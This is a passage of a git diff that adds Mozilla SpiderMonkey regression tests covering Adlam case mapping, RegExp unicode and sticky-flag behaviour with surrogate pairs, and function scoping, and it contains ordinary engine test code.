+test(0x1E915, 0x1E937); // ADLAM CAPITAL LETTER CHI, ADLAM SMALL LETTER CHI
+test(0x1E916, 0x1E938); // ADLAM CAPITAL LETTER HA, ADLAM SMALL LETTER HA
+test(0x1E917, 0x1E939); // ADLAM CAPITAL LETTER QAAF, ADLAM SMALL LETTER QAAF
+test(0x1E918, 0x1E93A); // ADLAM CAPITAL LETTER GA, ADLAM SMALL LETTER GA
+test(0x1E919, 0x1E93B); // ADLAM CAPITAL LETTER NYA, ADLAM SMALL LETTER NYA
+test(0x1E91A, 0x1E93C); // ADLAM CAPITAL LETTER TU, ADLAM SMALL LETTER TU
+test(0x1E91B, 0x1E93D); // ADLAM CAPITAL LETTER NHA, ADLAM SMALL LETTER NHA
+test(0x1E91C, 0x1E93E); // ADLAM CAPITAL LETTER VA, ADLAM SMALL LETTER VA
+test(0x1E91D, 0x1E93F); // ADLAM CAPITAL LETTER KHA, ADLAM SMALL LETTER KHA
+test(0x1E91E, 0x1E940); // ADLAM CAPITAL LETTER GBE, ADLAM SMALL LETTER GBE
+test(0x1E91F, 0x1E941); // ADLAM CAPITAL LETTER ZAL, ADLAM SMALL LETTER ZAL
+test(0x1E920, 0x1E942); // ADLAM CAPITAL LETTER KPO, ADLAM SMALL LETTER KPO
+test(0x1E921, 0x1E943); // ADLAM CAPITAL LETTER SHA, ADLAM SMALL LETTER SHA
+test(0x1E922, 0x1E900); // ADLAM SMALL LETTER ALIF, ADLAM CAPITAL LETTER ALIF
+test(0x1E923, 0x1E901); // ADLAM SMALL LETTER DAALI, ADLAM CAPITAL LETTER DAALI
+test(0x1E924, 0x1E902); // ADLAM SMALL LETTER LAAM, ADLAM CAPITAL LETTER LAAM
+test(0x1E925, 0x1E903); // ADLAM SMALL LETTER MIIM, ADLAM CAPITAL LETTER MIIM
+test(0x1E926, 0x1E904); // ADLAM SMALL LETTER BA, ADLAM CAPITAL LETTER BA
+test(0x1E927, 0x1E905); // ADLAM SMALL LETTER SINNYIIYHE, ADLAM CAPITAL LETTER SINNYIIYHE
+test(0x1E928, 0x1E906); // ADLAM SMALL LETTER PE, ADLAM CAPITAL LETTER PE
+test(0x1E929, 0x1E907); // ADLAM SMALL LETTER BHE, ADLAM CAPITAL LETTER BHE
+test(0x1E92A, 0x1E908); // ADLAM SMALL LETTER RA, ADLAM CAPITAL LETTER RA
+test(0x1E92B, 0x1E909); // ADLAM SMALL LETTER E, ADLAM CAPITAL LETTER E
+test(0x1E92C, 0x1E90A); // ADLAM SMALL LETTER FA, ADLAM CAPITAL LETTER FA
+test(0x1E92D, 0x1E90B); // ADLAM SMALL LETTER I, ADLAM CAPITAL LETTER I
+test(0x1E92E, 0x1E90C); // ADLAM SMALL LETTER O, ADLAM CAPITAL LETTER O
+test(0x1E92F, 0x1E90D); // ADLAM SMALL LETTER DHA, ADLAM CAPITAL LETTER DHA
+test(0x1E930, 0x1E90E); // ADLAM SMALL LETTER YHE, ADLAM CAPITAL LETTER YHE
+test(0x1E931, 0x1E90F); // ADLAM SMALL LETTER WAW, ADLAM CAPITAL LETTER WAW
+test(0x1E932, 0x1E910); // ADLAM SMALL LETTER NUN, ADLAM CAPITAL LETTER NUN
+test(0x1E933, 0x1E911); // ADLAM SMALL LETTER KAF, ADLAM CAPITAL LETTER KAF
+test(0x1E934, 0x1E912); // ADLAM SMALL LETTER YA, ADLAM CAPITAL LETTER YA
+test(0x1E935, 0x1E913); // ADLAM SMALL LETTER U, ADLAM CAPITAL LETTER U
+test(0x1E936, 0x1E914); // ADLAM SMALL LETTER JIIM, ADLAM CAPITAL LETTER JIIM
+test(0x1E937, 0x1E915); // ADLAM SMALL LETTER CHI, ADLAM CAPITAL LETTER CHI
+test(0x1E938, 0x1E916); // ADLAM SMALL LETTER HA, ADLAM CAPITAL LETTER HA
+test(0x1E939, 0x1E917); // ADLAM SMALL LETTER QAAF, ADLAM CAPITAL LETTER QAAF
+test(0x1E93A, 0x1E918); // ADLAM SMALL LETTER GA, ADLAM CAPITAL LETTER GA
+test(0x1E93B, 0x1E919); // ADLAM SMALL LETTER NYA, ADLAM CAPITAL LETTER NYA
+test(0x1E93C, 0x1E91A); // ADLAM SMALL LETTER TU, ADLAM CAPITAL LETTER TU
+test(0x1E93D, 0x1E91B); // ADLAM SMALL LETTER NHA, ADLAM CAPITAL LETTER NHA
+test(0x1E93E, 0x1E91C); // ADLAM SMALL LETTER VA, ADLAM CAPITAL LETTER VA
+test(0x1E93F, 0x1E91D); // ADLAM SMALL LETTER KHA, ADLAM CAPITAL LETTER KHA
+test(0x1E940, 0x1E91E); // ADLAM SMALL LETTER GBE, ADLAM CAPITAL LETTER GBE
+test(0x1E941, 0x1E91F); // ADLAM SMALL LETTER ZAL, ADLAM CAPITAL LETTER ZAL
+test(0x1E942, 0x1E920); // ADLAM SMALL LETTER KPO, ADLAM CAPITAL LETTER KPO
+test(0x1E943, 0x1E921); // ADLAM SMALL LETTER SHA, ADLAM CAPITAL LETTER SHA
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-index.js b/js/src/tests/non262/RegExp/unicode-index.js
new file mode 100644
index 0000000000..a4b2eb2030
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-index.js
@@ -0,0 +1,17 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- Pattern match should start from lead surrogate when lastIndex points corresponding trail surrogate.";
+
+print(BUGNUMBER + ": " + summary);
+
+var r = /\uD83D\uDC38/ug;
+r.lastIndex = 1;
+var str = "\uD83D\uDC38";
+var result = r.exec(str);
+assertEq(result.length, 1);
+assertEq(result[0], "\uD83D\uDC38");
+
+// This does not match to ES6 spec, but the spec will be changed.
+assertEq(result.index, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-lead-trail.js b/js/src/tests/non262/RegExp/unicode-lead-trail.js
new file mode 100644
index 0000000000..7ecdb9ace4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-lead-trail.js
@@ -0,0 +1,218 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- lead and trail patterns in RegExpUnicodeEscapeSequence.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/\uD83D\uDC38/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\uD83D\\uDC38", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// RegExp constructor, no unicode flag
+assertEqArray(new RegExp("\\uD83D\\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// ==== ? ====
+
+assertEqArray(/\uD83D\uDC38?/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38?/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\uD83D\uDC38?/u.exec("\uD83D"),
+ [""]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38?/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(/\uD83D\uDC38?/.exec(""),
+ null);
+
+assertEqArray(/\uD83D\uDC38?/.exec("\uD83D"),
+ ["\uD83D"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "u").exec(""),
+ [""]);
+
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "u").exec("\uD83D"),
+ [""]);
+
+// RegExp constructor, no unicode flag
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(new RegExp("\\uD83D\\uDC38?", "").exec(""),
+ null);
+
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "").exec("\uD83D"),
+ ["\uD83D"]);
+
+// ==== + ====
+
+assertEqArray(/\uD83D\uDC38+/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38+/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEq(/\uD83D\uDC38+/u.exec(""),
+ null);
+
+// lead-only target
+assertEq(/\uD83D\uDC38+/u.exec("\uD83D"),
+ null);
+assertEqArray(/\uD83D\uDC38+/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38+/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38+/.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(/\uD83D\uDC38+/.exec("\uD83D"),
+ null);
+assertEqArray(/\uD83D\uDC38+/.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38\uDC38"]);
+assertEq(/\uD83D\uDC38+/.exec(""),
+ null);
+
+// ==== * ====
+
+assertEqArray(/\uD83D\uDC38*/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\uD83D\uDC38*/u.exec("\uD83D"),
+ [""]);
+assertEqArray(/\uD83D\uDC38*/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38*/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D\uDC38*/.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38\uDC38"]);
+assertEq(/\uD83D\uDC38*/.exec(""),
+ null);
+
+// ==== lead-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\uD83D/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEq(/\uD83D/u.exec("\uD83D\uDC00"),
+ null);
+assertEq(/\uD83D/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/\uD83D/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+// match before non-tail char
+assertEqArray(/\uD83D/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// no unicode flag
+assertEqArray(/\uD83D/.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D\uDC00"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D\uDFFF"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// ==== trail-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\uDC38/u.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEq(/\uDC38/u.exec("\uD800\uDC38"),
+ null);
+assertEq(/\uDC38/u.exec("\uDBFF\uDC38"),
+ null);
+assertEqArray(/\uDC38/u.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+
+// match after non-lead char
+assertEqArray(/\uDC38/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/u.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// no unicode flag
+assertEqArray(/\uDC38/.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uD800\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uDBFF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// ==== invalid trail ====
+
+assertEqArray(/\uD83D\u3042*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D\u3042*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/\uD83D\u3042*/u.exec("\uD83D\u3042\u3042"),
+ ["\uD83D\u3042\u3042"]);
+
+assertEqArray(/\uD83D\u{3042}*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D\u{3042}*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/\uD83D\u{3042}*/u.exec("\uD83D\u3042\u3042"),
+ ["\uD83D\u3042\u3042"]);
+
+assertEqArray(/\uD83DA*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83DA*/u.exec("\uD83DA"),
+ ["\uD83DA"]);
+assertEqArray(/\uD83DA*/u.exec("\uD83DAA"),
+ ["\uD83DAA"]);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/\\u/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u0/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u000/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u000G/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u0.00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u0/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u000/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u000G/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u0.00/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-raw.js b/js/src/tests/non262/RegExp/unicode-raw.js
new file mode 100644
index 0000000000..37b572cd82
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-raw.js
@@ -0,0 +1,139 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- raw unicode.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(eval(`/\uD83D\uDC38/u`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(eval(`/\uD83D\uDC38/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped (lead)
+assertEq(eval(`/\\uD83D\uDC38/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\\u{D83D}\uDC38/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (trail)
+assertEq(eval(`/\uD83D\\uDC38/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\uD83D\\u{DC38}/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (lead), no unicode flag
+assertEqArray(eval(`/\\uD83D\uDC38/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped (trail), no unicode flag
+assertEqArray(eval(`/\uD83D\\uDC38/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// ==== RegExp constructor ====
+
+assertEqArray(new RegExp("\uD83D\uDC38", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(new RegExp("\uD83D\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped(lead)
+assertEq(new RegExp("\\uD83D\uDC38", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("\\u{D83D}\uDC38", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(trail)
+assertEq(new RegExp("\uD83D\\uDC38", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("\uD83D\\u{DC38}", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(lead), no unicode flag
+assertEqArray(new RegExp("\\uD83D\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped(trail), no unicode flag
+assertEqArray(new RegExp("\uD83D\\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// ==== ? ====
+
+assertEqArray(eval(`/\uD83D\uDC38?/u`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(eval(`/\uD83D\uDC38?/u`).exec(""),
+ [""]);
+
+assertEqArray(eval(`/\uD83D\uDC38?/u`).exec("\uD83D"),
+ [""]);
+
+// no unicode flag
+assertEqArray(eval(`/\uD83D\uDC38?/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(eval(`/\uD83D\uDC38?/`).exec(""),
+ null);
+
+assertEqArray(eval(`/\uD83D\uDC38?/`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (lead)
+assertEq(eval(`/\\uD83D\uDC38?/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\\uD83D\uDC38?/u`).exec(""),
+ null);
+
+assertEqArray(eval(`/\\uD83D\uDC38?/u`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (trail)
+assertEq(eval(`/\uD83D\\uDC38?/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\uD83D\\uDC38?/u`).exec(""),
+ null);
+
+assertEqArray(eval(`/\uD83D\\uDC38?/u`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (lead), no unicode flag
+assertEqArray(eval(`/\\uD83D\uDC38?/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(eval(`/\\uD83D\uDC38?/`).exec(""),
+ null);
+
+assertEqArray(eval(`/\\uD83D\uDC38?/`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (trail), no unicode flag
+assertEqArray(eval(`/\uD83D\\uDC38?/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(eval(`/\uD83D\\uDC38?/`).exec(""),
+ null);
+
+assertEqArray(eval(`/\uD83D\\uDC38?/`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// ==== RegExp constructor, ? ====
+
+assertEqArray(new RegExp("\uD83D\uDC38?", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\uD83D\uDC38?", "u").exec(""),
+ [""]);
+
+assertEqArray(new RegExp("\uD83D\uDC38?", "u").exec("\uD83D"),
+ [""]);
+
+// no unicode flag
+assertEqArray(new RegExp("\uD83D\uDC38?", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(new RegExp("\uD83D\uDC38?", "").exec(""),
+ null);
+
+assertEqArray(new RegExp("\uD83D\uDC38?", "").exec("\uD83D"),
+ ["\uD83D"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/yflag.js b/js/src/tests/non262/RegExp/yflag.js
new file mode 100644
index 0000000000..db101c0b01
--- /dev/null
+++ b/js/src/tests/non262/RegExp/yflag.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 371932;
+var summary = 'ES4 Regular Expression /y flag';
+var actual = '';
+var expect = '';
+
+print('See http://developer.mozilla.org/es4/proposals/extend_regexps.html#y_flag');
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var c;
+ var s = '123456';
+
+ print('Test global flag.');
+
+ var g = /(1)/g;
+ expect = 'captures: 1,1; RegExp.leftContext: ""; RegExp.rightContext: "234561"';
+ actual = 'captures: ' + g.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+ reportCompare(expect, actual, summary + ' - /(1)/g.exec("1234561") first call');
+
+ expect = 'captures: 1,1; RegExp.leftContext: "123456"; RegExp.rightContext: ""';
+ actual = 'captures: ' + g.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+ reportCompare(expect, actual, summary + ' - /(1)/g.exec("1234561") second call');
+ var y = /(1)/y;
+
+ print('Test sticky flag.');
+
+ /*
+ * calls to reportCompare invoke regular expression matches which interfere
+ * with the test of the sticky flag. Collect expect and actual values prior
+ * to calling reportCompare. Note setting y = /(1)/y resets the lastIndex etc.
+ */
+
+ var y = /(1)/y;
+ var expect4 = 'captures: 1,1; RegExp.leftContext: ""; RegExp.rightContext: "234561"';
+ var actual4 = 'captures: ' + y.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ var expect5 = 'captures: null; RegExp.leftContext: ""; RegExp.rightContext: "234561"';
+ var actual5 = 'captures: ' + y.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ reportCompare(expect4, actual4, summary + ' - /(1)/y.exec("1234561") first call');
+ reportCompare(expect5, actual5, summary + ' - /(1)/y.exec("1234561") second call');
+
+ var y = /(1)/y;
+
+ reportCompare(expect5, actual5, summary);
+
+ y = /(1)/y;
+ var expect6 = 'captures: 1,1; RegExp.leftContext: ""; RegExp.rightContext: "123456"';
+ var actual6 = 'captures: ' + y.exec('1123456') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ var expect7 = 'captures: 1,1; RegExp.leftContext: "1"; RegExp.rightContext: "23456"';
+ var actual7 = 'captures: ' + y.exec('1123456') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ reportCompare(expect6, actual6, summary + ' - /(1)/y.exec("1123456") first call');
+ reportCompare(expect7, actual7, summary + ' - /(1)/y.exec("1123456") second call');
+
+ var y = /(1)/y;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Scope/browser.js b/js/src/tests/non262/Scope/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Scope/browser.js
diff --git a/js/src/tests/non262/Scope/regress-154693.js b/js/src/tests/non262/Scope/regress-154693.js
new file mode 100644
index 0000000000..d0f0a5ea86
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-154693.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 Nov 2002
+ * SUMMARY: Testing scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=154693
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 154693;
+var summary = 'Testing scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ function nested() {}
+ return nested;
+}
+var f1 = f();
+var f2 = f();
+
+status = inSection(1);
+actual = (f1 != f2);
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-181834.js b/js/src/tests/non262/Scope/regress-181834.js
new file mode 100644
index 0000000000..9b0fe071f1
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-181834.js
@@ -0,0 +1,146 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 25 November 2002
+ * SUMMARY: Testing scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181834
+ *
+ * This bug only bit in Rhino interpreted mode, when the
+ * 'compile functions with dynamic scope' feature was set.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 181834;
+var summary = 'Testing scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * If N<=0, |outer_d| just gets incremented once,
+ * so the return value should be 1 in this case.
+ *
+ * If N>0, we end up calling inner() N+1 times:
+ * inner(N), inner(N-1), ... , inner(0).
+ *
+ * Each call to inner() increments |outer_d| by 1.
+ * The last call, inner(0), returns the final value
+ * of |outer_d|, which should be N+1.
+ */
+function outer(N)
+{
+ var outer_d = 0;
+ return inner(N);
+
+ function inner(level)
+ {
+ outer_d++;
+
+ if (level > 0)
+ return inner(level - 1);
+ else
+ return outer_d;
+ }
+}
+
+
+/*
+ * This only has meaning in Rhino -
+ */
+setDynamicScope(true);
+
+/*
+ * Recompile the function |outer| via eval() in order to
+ * feel the effect of the dynamic scope mode we have set.
+ */
+var s = outer.toString();
+eval(s);
+
+status = inSection(1);
+actual = outer(-5);
+expect = 1;
+addThis();
+
+status = inSection(2);
+actual = outer(0);
+expect = 1;
+addThis();
+
+status = inSection(3);
+actual = outer(5);
+expect = 6;
+addThis();
+
+
+/*
+ * Sanity check: do same steps with the dynamic flag off
+ */
+setDynamicScope(false);
+
+/*
+ * Recompile the function |outer| via eval() in order to
+ * feel the effect of the dynamic scope mode we have set.
+ */
+eval(s);
+
+status = inSection(4);
+actual = outer(-5);
+expect = 1;
+addThis();
+
+status = inSection(5);
+actual = outer(0);
+expect = 1;
+addThis();
+
+status = inSection(6);
+actual = outer(5);
+expect = 6;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function setDynamicScope(flag)
+{
+ if (this.Packages)
+ {
+ var cx = this.Packages.org.mozilla.javascript.Context.getCurrentContext();
+ cx.setCompileFunctionsWithDynamicScope(flag);
+ }
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-184107.js b/js/src/tests/non262/Scope/regress-184107.js
new file mode 100644
index 0000000000..27b7094600
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-184107.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 December 2002
+ * SUMMARY: with(...) { function f ...} should set f in the global scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=184107
+ *
+ * In fact, any variable defined in a with-block should be created
+ * in global scope, i.e. should be a property of the global object.
+ *
+ * The with-block syntax allows existing local variables to be SET,
+ * but does not allow new local variables to be CREATED.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=159849#c11
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 184107;
+var summary = 'with(...) { function f ...} should set f in the global scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var obj = {y:10};
+with (obj)
+{
+ // function statement
+ function f()
+ {
+ return y;
+ }
+
+ // function expression
+ g = function() {return y;}
+}
+
+status = inSection(1);
+actual = obj.f;
+expect = undefined;
+addThis();
+
+status = inSection(2);
+actual = f();
+expect = obj.y;
+addThis();
+
+status = inSection(3);
+actual = obj.g;
+expect = undefined;
+addThis();
+
+status = inSection(4);
+actual = g();
+expect = obj.y;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-185485.js b/js/src/tests/non262/Scope/regress-185485.js
